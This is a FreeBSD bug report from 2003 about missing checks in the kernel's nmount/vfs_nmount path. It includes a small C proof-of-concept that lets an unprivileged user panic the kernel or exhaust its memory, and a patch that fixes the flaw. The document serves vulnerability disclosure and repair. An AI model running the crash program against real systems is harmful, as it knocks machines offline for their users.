kern/59177: vfs_nmount lacks parameter checks: non-root can cause panic/memory exhaustion.

[Peter Edwards]

>Number:         59177
>Category:       kern
>Synopsis:       vfs_nmount lacks parameter checks: non-root can cause panic/memory exhaustion.
>Confidential:   no
>Severity:       serious
>Priority:       high
>Responsible:    freebsd-bugs
>State:          open
>Quarter:        
>Keywords:       
>Date-Required:
>Class:          sw-bug
>Submitter-Id:   current-users
>Arrival-Date:   Tue Nov 11 06:40:11 PST 2003
>Closed-Date:
>Last-Modified:
>Originator:     Peter Edwards
>Release:        FreeBSD 5.1-CURRENT i386
>Organization:
Openet Telecom
>Environment:
System: FreeBSD rocklobster 5.1-CURRENT FreeBSD 5.1-CURRENT #7: Mon Oct 13 21:11:46 IST 2003 petere at archie:/pub/FreeBSD/obj/pub/FreeBSD/current/src/sys/ROCKLOBSTER i386

>Description:

(Marked as "high priority", because it has security implications.
Originally posted to -current on 11/04/03 with subject "Bug: nmount(2)
lacks parameter checking." I finally forced myself into learning
enough about sendmail to get it to relay to our MX, so my send-pr
should now work.)

nmount() calls vfs_nmount() pretty much directly after copying in
the io vector from userland.  vfs_nmount() first calls vfs_buildopts().

Note there's no check up to this point that the user passing the
options in is indeed root. So, all the bugs mentioned can be tickled
by a non-root user.

vfs_buildopts doesn't ensure that each option's "name" is a null
terminated string, but, it later calls vfs_sanitizeopts(), which
assumes it is. By passing in strings just at and just over the
pagesize, you can cause vfs_buildopts to feed vfs_sanitizeopts()
something that makes it vomit quite quickly, by causing strcmp to
hit an unmappped page.

Another issue: vfs_buildopts also leaks memory if it jumps to "bad":
anything in the current option is lost to the woods. It's left as
an exercise to the reader to write a program to keep making invalid
requests to nmount to exhaust kernel memory.

Finally, there's no checking on how much memory is actually aquired
by vfs_buildopts(): it can be passed up to MAX_IOVCOUNT (1024)
elements in the iovec, and each of these can have up to 64K of data.
Unlike passing I/O vectors to writev, this all gets malloc()d in
the kernel, so a single call to nmount() by a normal user can get
the kernel to allocate over 64M of memory.

>How-To-Repeat:

#include <sys/param.h>
#include <sys/uio.h>
#include <sys/mount.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>

static const int OPTCOUNT=128;
int
main(int argc, char *argv[])
{
    int pagesize = getpagesize();
    char *buf = malloc(pagesize + 1);
    int i;
    struct iovec iov[OPTCOUNT * 2];

    memset(buf, pagesize + 1, 'x'); /* complete page + 1, not null terminated. */

    for (i = 0; i < OPTCOUNT; i++) {
	iov[i*2].iov_len = pagesize + i % 2;
	iov[i*2].iov_base = buf;
	iov[i*2+1].iov_len = 1;
	iov[i*2+1].iov_base = buf;
    }

    if (nmount(iov, i, 0) < 0)
	fprintf(stderr, "well, we didn't panic\n");
    else
	fprintf(stderr, "success??\n");
}

>Fix:

I've verified that the patch below solves the problem for me locally.
(This is a slightly modified version of the original: A kindly
hacker pointed out my C++ism) "MAXOPTMEM" may need to be raised,
but for the life of me, I can't see why you'd need to pass a mount
system call more than 64k of options.

Index: vfs_mount.c
===================================================================
RCS file: /pub/FreeBSD/development/FreeBSD-CVS/src/sys/kern/vfs_mount.c,v
retrieving revision 1.112
diff -u -r1.112 vfs_mount.c
--- vfs_mount.c	5 Nov 2003 04:30:07 -0000	1.112
+++ vfs_mount.c	6 Nov 2003 20:24:13 -0000
@@ -98,6 +98,7 @@
 #endif
 
 #define ROOTNAME	"root_device"
+#define MAXOPTMEM	(1024 * 64)
 
 static void	checkdirs(struct vnode *olddp, struct vnode *newdp);
 static int	vfs_nmount(struct thread *td, int, struct uio *);
@@ -243,6 +244,7 @@
 	struct vfsopt *opt;
 	unsigned int i, iovcnt;
 	int error, namelen, optlen;
+	size_t memtotal = 0;
 
 	iovcnt = auio->uio_iovcnt;
 	opts = malloc(sizeof(struct vfsoptlist), M_MOUNT, M_WAITOK);
@@ -253,6 +255,25 @@
 		optlen = auio->uio_iov[i + 1].iov_len;
 		opt->name = malloc(namelen, M_MOUNT, M_WAITOK);
 		opt->value = NULL;
+		opt->len = optlen;
+
+		/*
+		 * Do this early, so jumps to "bad" will free the current
+		 * option
+		 */
+		TAILQ_INSERT_TAIL(opts, opt, link);
+		memtotal += sizeof (struct vfsopt) + optlen + namelen;
+
+		/*
+		 * Avoid consuming too much memory, and attempts to overflow
+		 * memtotal
+		 */
+		if (memtotal > MAXOPTMEM  || optlen > MAXOPTMEM ||
+		    namelen > MAXOPTMEM) {
+			error = EINVAL;
+			goto bad;
+		}
+
 		if (auio->uio_segflg == UIO_SYSSPACE) {
 			bcopy(auio->uio_iov[i].iov_base, opt->name, namelen);
 		} else {
@@ -261,7 +282,11 @@
 			if (error)
 				goto bad;
 		}
-		opt->len = optlen;
+		/* Ensure names are null-terminated strings */
+		if (opt->name[namelen - 1] != '\0') {
+		    error = EINVAL;
+		    goto bad;
+		}
 		if (optlen != 0) {
 			opt->value = malloc(optlen, M_MOUNT, M_WAITOK);
 			if (auio->uio_segflg == UIO_SYSSPACE) {
@@ -274,7 +299,6 @@
 					goto bad;
 			}
 		}
-		TAILQ_INSERT_TAIL(opts, opt, link);
 	}
 	vfs_sanitizeopts(opts);
 	*options = opts;

>Release-Note:
>Audit-Trail:
>Unformatted: